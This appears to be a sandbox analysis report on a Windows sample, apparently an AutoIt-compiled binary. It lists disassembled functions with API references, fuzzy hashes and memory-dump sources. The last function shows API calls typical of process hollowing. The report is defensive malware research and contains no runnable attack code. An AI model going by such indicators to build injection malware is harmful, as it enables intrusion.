Instruction ID: e99625ce5d413160be8774c031d8fa889eac105f7d53f80607619f7be1e9577b
Opcode Fuzzy Hash: 998aeda2236a74d80706e5f9a46343bd1135ee917ddd04e378ba6ed458c3dace
Instruction Fuzzy Hash: FC41B374A006469BDB388E69C8949EE7FA5FF86360B24853DF85587642DB70FD42CF40

Function 00594C70 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 141COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00594CBA

Strings

EA06, xrefs: 005CD8CC
AU3!P/b, xrefs: 00594CB4

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: _memmove
String ID: AU3!P/b$EA06
API String ID: 4104443479-527733497
Opcode ID: ae72f0d01da2fe8e16b9daf1190786e0997bbc7c35446aa835af2926c7fd7570
Instruction ID: bac027c912b3c8391761a1fda7b689761b863fc6340b2a4bf2c0b7ce55c23bd8
Opcode Fuzzy Hash: ae72f0d01da2fe8e16b9daf1190786e0997bbc7c35446aa835af2926c7fd7570
Instruction Fuzzy Hash: C141AD35A043595BDF259B548C65FBF7FB2FF85300F284874EC82DB282D6209D468BA1

Function 00597285 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 005CEA39
GetOpenFileNameW.COMDLG32(?), ref: 005CEA83

Part of subcall function 00594750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00594743,?,?,005937AE,?), ref: 00594770

Part of subcall function 005B0791: GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 005B07B0

Strings

X, xrefs: 005CEA51

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Name$Path$FileFullLongOpen_memset
String ID: X
API String ID: 3777226403-3081909835
Opcode ID: 692524b2724f4d1a7680cf4c0cc60b6d151de3bf4c9ba6ee20cb1066faf9a359
Instruction ID: 837d9c69ad5d612cc737e8bb76d3159adf57a2af68059d706c0d1b9cea066132
Opcode Fuzzy Hash: 692524b2724f4d1a7680cf4c0cc60b6d151de3bf4c9ba6ee20cb1066faf9a359
Instruction Fuzzy Hash: ED218171A102499FCF41DFD4C849BEE7FF9BF89714F04405AE408A7241DBB45A898FA1

Function 005F8D91 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 005F8DAC
__fread_nolock.LIBCMT ref: 005F8DC1

Strings

EA06, xrefs: 005F8DF3

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: __fread_nolock_memmove
String ID: EA06
API String ID: 1988441806-3962188686
Opcode ID: cf2041a7cd85f41a90646f9054aa4729614272c87f21fa97250080cf673f09f9
Instruction ID: fc1bce8b24fe4c0b064bd04a9a67092b1fc9ea887596a3d05f04ef098412fba3
Opcode Fuzzy Hash: cf2041a7cd85f41a90646f9054aa4729614272c87f21fa97250080cf673f09f9
Instruction Fuzzy Hash: 9B01B971D042187EDB28DAA8CC5AEFE7FF8DF15311F00459AF552D61C1E979E6048760

Function 005F98E3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000104,?), ref: 005F98F8
GetTempFileNameW.KERNELBASE(?,aut,00000000,?), ref: 005F990F

Strings

aut, xrefs: 005F9909

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Temp$FileNamePath
String ID: aut
API String ID: 3285503233-3010740371
Opcode ID: 4ca640df8301c2c1edddbfaaf664666f60e3363abd90214293cc659c55f95a64
Instruction ID: 634670f00d130c6f782064e6148de09e5cc40102a214b2fe20a95848714e5d45
Opcode Fuzzy Hash: 4ca640df8301c2c1edddbfaaf664666f60e3363abd90214293cc659c55f95a64
Instruction Fuzzy Hash: FED05E7954030DAFDB50ABE0DC0EFDA777DE704700F0042B2BA54920A1EAB096988B91

Function 0060CADD Relevance: 4.9, APIs: 3, Instructions: 392COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3186b0e0d19c96aa5d0c186eeaf8147a7a700287b91fd2e83103da2fc238818c
Instruction ID: 56d6d4c5c18856bd05e904ab6167bde590c07ea261050db5156928cd4e0bb55c
Opcode Fuzzy Hash: 3186b0e0d19c96aa5d0c186eeaf8147a7a700287b91fd2e83103da2fc238818c
Instruction Fuzzy Hash: 58F11A716043019FCB14DF28C485A6ABBE6FF89324F14892DF8999B391D731E945CF82

Function 0059434A Relevance: 4.6, APIs: 3, Instructions: 77windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00594370
Shell_NotifyIconW.SHELL32(00000000,?), ref: 00594415
Shell_NotifyIconW.SHELL32(00000001,?), ref: 00594432

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: IconNotifyShell_$_memset
String ID:
API String ID: 1505330794-0
Opcode ID: 58dd3c6e123f9e064e687e0be69567b87f803f909b46cfab0fd6c99f6c2b2667
Instruction ID: 7b7616d64f04dae137d6f60844fa6a010a03c497102d605b58f9e40ab2a2f56a
Opcode Fuzzy Hash: 58dd3c6e123f9e064e687e0be69567b87f803f909b46cfab0fd6c99f6c2b2667
Instruction Fuzzy Hash: 43316FB05047019FDB21DF34D888A9BBBF8FB48309F000D2EE69A86251E771AA45CB52

Function 005B571C Relevance: 4.6, APIs: 3, Instructions: 59memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

__FF_MSGBANNER.LIBCMT ref: 005B5733

Part of subcall function 005BA16B: __NMSG_WRITE.LIBCMT ref: 005BA192
Part of subcall function 005BA16B: __NMSG_WRITE.LIBCMT ref: 005BA19C

__NMSG_WRITE.LIBCMT ref: 005B573A

Part of subcall function 005BA1C8: GetModuleFileNameW.KERNEL32(00000000,006533BA,00000104,?,00000001,00000000), ref: 005BA25A
Part of subcall function 005BA1C8: ___crtMessageBoxW.LIBCMT ref: 005BA308

Part of subcall function 005B309F: ___crtCorExitProcess.LIBCMT ref: 005B30A5
Part of subcall function 005B309F: ExitProcess.KERNEL32 ref: 005B30AE

Part of subcall function 005B8B28: __getptd_noexit.LIBCMT ref: 005B8B28

RtlAllocateHeap.NTDLL(012B0000,00000000,00000001,00000000,?,?,?,005B0DD3,?), ref: 005B575F

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: ExitProcess___crt$AllocateFileHeapMessageModuleName__getptd_noexit
String ID:
API String ID: 1372826849-0
Opcode ID: d8541c60dfcd9c0e405391b960a07e44adf09a284f168434294e68b7f5ac3fa9
Instruction ID: 5026b8293d88d08d4bfa4d60f64d579f538ec1d052712ad5757b407798de4339
Opcode Fuzzy Hash: d8541c60dfcd9c0e405391b960a07e44adf09a284f168434294e68b7f5ac3fa9
Instruction Fuzzy Hash: B601D635300B12EAD7186B79EC46BFE7F88FBC27A2F101525F505AA181FF70B9008660

Function 005F98A2 Relevance: 4.5, APIs: 3, Instructions: 24filetimeCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,40000000,00000001,00000000,00000003,00000080,00000000,?,?,005F9548,?,?,?,?,?,00000004), ref: 005F98BB
SetFileTime.KERNELBASE(00000000,?,00000000,?,?,005F9548,?,?,?,?,?,00000004,00000001,?,?,00000004), ref: 005F98D1
CloseHandle.KERNEL32(00000000,?,005F9548,?,?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 005F98D8

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: File$CloseCreateHandleTime
String ID:
API String ID: 3397143404-0
Opcode ID: 79184f4adf84bd428cabcc0e3c850b65bd4dd7377975836200750e9e57f26fdf
Instruction ID: 0c08599bd9dc5558dbb898ecf1265bdfd38812556822bb4fdaf663c95019e26b
Opcode Fuzzy Hash: 79184f4adf84bd428cabcc0e3c850b65bd4dd7377975836200750e9e57f26fdf
Instruction Fuzzy Hash: 49E08632180618B7D7211B54EC0AFDA7F1AAB06760F148221FB24690E0C7B1151197D8

Function 005F8D0D Relevance: 4.5, APIs: 3, Instructions: 22COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 005F8D1B

Part of subcall function 005B2D55: RtlFreeHeap.NTDLL(00000000,00000000,?,005B9A24), ref: 005B2D69
Part of subcall function 005B2D55: GetLastError.KERNEL32(00000000,?,005B9A24), ref: 005B2D7B

_free.LIBCMT ref: 005F8D2C
_free.LIBCMT ref: 005F8D3E

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: e92dce40d9500f9ac2a34e83b90a716ef22a9282606ba49fbfd8bfa905bb999e
Instruction ID: 1bb025ff654ed7ee6e45cd083c6557ffdf036bbf1add779671819436f895fb20
Opcode Fuzzy Hash: e92dce40d9500f9ac2a34e83b90a716ef22a9282606ba49fbfd8bfa905bb999e
Instruction Fuzzy Hash: FCE012A16116064ACB24A578A944AF71BDC6F98352B14091DB50DD7186CE68F8438134

Function 0059A9C3 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 534COMMON

Download Yara Rule

Strings

CALL, xrefs: 005CFC01

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID:
String ID: CALL
API String ID: 0-4196123274
Opcode ID: 3707ea6fe963144f5867e23cb9ce4ffcc400ff36a2ab0a1b7b90df12908107cb
Instruction ID: 1f717dd46f46313032eed2dc3dd3dee7bb9c3cc0f258afba2c13478445404ed8
Opcode Fuzzy Hash: 3707ea6fe963144f5867e23cb9ce4ffcc400ff36a2ab0a1b7b90df12908107cb
Instruction Fuzzy Hash: AB224570608341DFDB24DF14C494B6ABBE1BF85304F15896EE88A8B3A2D731ED45DB92

Function 005947D0 Relevance: 3.1, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

IsThemeActive.UXTHEME ref: 00594834

Part of subcall function 005B336C: __lock.LIBCMT ref: 005B3372
Part of subcall function 005B336C: DecodePointer.KERNEL32(00000001,?,00594849,005E7C74), ref: 005B337E
Part of subcall function 005B336C: EncodePointer.KERNEL32(?,?,00594849,005E7C74), ref: 005B3389

Part of subcall function 005948FD: SystemParametersInfoW.USER32(00002000,00000000,?,00000000), ref: 00594915
Part of subcall function 005948FD: SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 0059492A

Part of subcall function 00593B3A: GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00593B68
Part of subcall function 00593B3A: IsDebuggerPresent.KERNEL32 ref: 00593B7A
Part of subcall function 00593B3A: GetFullPathNameW.KERNEL32(00007FFF,?,?,006552F8,006552E0,?,?), ref: 00593BEB
Part of subcall function 00593B3A: SetCurrentDirectoryW.KERNEL32(?), ref: 00593C6F

SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 00594874

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: InfoParametersSystem$CurrentDirectoryPointer$ActiveDebuggerDecodeEncodeFullNamePathPresentTheme__lock
String ID:
API String ID: 1438897964-0
Opcode ID: 034e6fe4ab3657063c94b93c06f1eda3e525d2f1751561ede12e514ef57600ca
Instruction ID: 75f3d634448f81ba89b2bf2b35c168a3236e1350bf16fcfb34cba680d3792f3c
Opcode Fuzzy Hash: 034e6fe4ab3657063c94b93c06f1eda3e525d2f1751561ede12e514ef57600ca
Instruction Fuzzy Hash: E2119D719183429BCB00EF29EC0994EBFE9FF88750F10891EF045932B1DB709A45CB92

Function 00595C99 Relevance: 3.1, APIs: 2, Instructions: 57fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000,?,00000000,?,00595821,?,?,?,?), ref: 00595CC7
CreateFileW.KERNEL32(?,C0000000,00000007,00000000,00000004,00000080,00000000,?,00000000,?,00595821,?,?,?,?), ref: 005CDD73

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 39d55904ac17a45eff2902a67cb2d7586e1f4fd2ac8e83e221074dfe13995c6f
Instruction ID: b31f400700690ce4a99631ba888d99d0422af94f7d062c521178783185468ab7
Opcode Fuzzy Hash: 39d55904ac17a45eff2902a67cb2d7586e1f4fd2ac8e83e221074dfe13995c6f
Instruction Fuzzy Hash: 08019270284708BEF7210E24CC8AFB63FDCBB01768F108719BAE59A1E0D6B41C588B54

Function 005B0DB6 Relevance: 3.0, APIs: 2, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 005B571C: __FF_MSGBANNER.LIBCMT ref: 005B5733
Part of subcall function 005B571C: __NMSG_WRITE.LIBCMT ref: 005B573A
Part of subcall function 005B571C: RtlAllocateHeap.NTDLL(012B0000,00000000,00000001,00000000,?,?,?,005B0DD3,?), ref: 005B575F

std::exception::exception.LIBCMT ref: 005B0DEC
__CxxThrowException@8.LIBCMT ref: 005B0E01

Part of subcall function 005B859B: RaiseException.KERNEL32(?,?,?,00649E78,00000000,?,?,?,?,005B0E06,?,00649E78,?,00000001), ref: 005B85F0

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrowstd::exception::exception
String ID:
API String ID: 3902256705-0
Opcode ID: de89daa32211e437708dd0bff4287b8ee2f53c01276969f8a52df2163817cf9a
Instruction ID: 556e602a1d38fae608ae2419b92e76ed97d280b332c69d2b21f3adc0a3b396c2
Opcode Fuzzy Hash: de89daa32211e437708dd0bff4287b8ee2f53c01276969f8a52df2163817cf9a
Instruction Fuzzy Hash: 04F0A43150021F7ACB10BA94EC1A9EF7FADBF41351F505869F914A61C1DF70BA90C6D1

Function 005B55FD Relevance: 3.0, APIs: 2, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 005B562C
__lock_file.LIBCMT ref: 005B564D

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: __lock_file_memset
String ID:
API String ID: 26237723-0
Opcode ID: fe46a4dea2a2edd98d4df0d3c73a97f03875a13334b3c00c876f9d213d903dc8
Instruction ID: 7efaa52d19784c037990b94570cfb73f6b77fb03d52f8d1945d3cc3e252c96a1
Opcode Fuzzy Hash: fe46a4dea2a2edd98d4df0d3c73a97f03875a13334b3c00c876f9d213d903dc8
Instruction Fuzzy Hash: 0A01A77180060AEBCF22BF689C0A9EE7F61BFD1361F544115F8141A191EB31AA52DF91

Function 005B53A6 Relevance: 3.0, APIs: 2, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 005B8B28: __getptd_noexit.LIBCMT ref: 005B8B28

__lock_file.LIBCMT ref: 005B53EB

Part of subcall function 005B6C11: __lock.LIBCMT ref: 005B6C34

__fclose_nolock.LIBCMT ref: 005B53F6

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: __fclose_nolock__getptd_noexit__lock__lock_file
String ID:
API String ID: 2800547568-0
Opcode ID: b7e96922e27e6f381f521f015d3dc7deb95315c72ac14ef6cd68f6c7644f76c8
Instruction ID: 986196c698e11528b1d22f4a6bb53f1898cf18b54856947813b3eb51cd99ed3e
Opcode Fuzzy Hash: b7e96922e27e6f381f521f015d3dc7deb95315c72ac14ef6cd68f6c7644f76c8
Instruction Fuzzy Hash: 25F0BB31800A069ADB246F75980A7FD7FE47F81374F259505A424AB2C1DFFCB9419B51

Function 00598061 Relevance: 2.6, APIs: 2, Instructions: 54COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,00000001,00000000,00000000,?,?,?,0059542F,?,?,?,?,?), ref: 0059807A
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,00000001,00000000,?,?,?,0059542F,?,?,?,?,?), ref: 005980AD

Part of subcall function 0059774D: _memmove.LIBCMT ref: 00597789

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: ByteCharMultiWide$_memmove
String ID:
API String ID: 3033907384-0
Opcode ID: 5e469b82bb88310c5a4767eec7b6c36a871423670b738745fc055426f8577b63
Instruction ID: e9ca08827bcb46f53053e0bdae08e802166d91380c1a4338e7ba1b6a3d312a3d
Opcode Fuzzy Hash: 5e469b82bb88310c5a4767eec7b6c36a871423670b738745fc055426f8577b63
Instruction Fuzzy Hash: D501A231201205BFEB246B21DC4AFBB3F6DFF89360F10802AF905CE1D0DE20E8009661

Function 011C129D Relevance: 1.9, APIs: 1, Instructions: 400processthreadCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(?,00000000), ref: 011C1ACD
Wow64GetThreadContext.KERNEL32(?,00010007), ref: 011C1AF1
ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 011C1B13

Memory Dump Source

Source File: 00000000.00000002.1256117968.00000000011C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 011C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11c0000_y1jQC8Y6bP.jbxd

Similarity

API ID: Process$ContextCreateMemoryReadThreadWow64
String ID:
API String ID: 2438371351-0
Opcode ID: 7bc2eb71131a5ca0d961fb64b4ce1da28befc4a8e94ed8bda1bc50d134690387
Instruction ID: 10af3a9b5022ac8d4f7ae2356df63f56aad8ecb423e7958af0061b27cc06b16a
Opcode Fuzzy Hash: 7bc2eb71131a5ca0d961fb64b4ce1da28befc4a8e94ed8bda1bc50d134690387
Instruction Fuzzy Hash: 6E12CF24E18658C6EB24DF64D8507DEB232EF68700F1090ED910DEB7A5E77A4E81CF5A

Function 005A1FC3 Relevance: 1.7, APIs: 1, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c971c0337010eb542d672f0951c4ce8b05efed4d11d4e8df706795ef851cafee
Instruction ID: 5a6bf0e59a4101886abaf567ee91d02519ca555d0c6ce5375276c93a84fc7a80
Opcode Fuzzy Hash: c971c0337010eb542d672f0951c4ce8b05efed4d11d4e8df706795ef851cafee
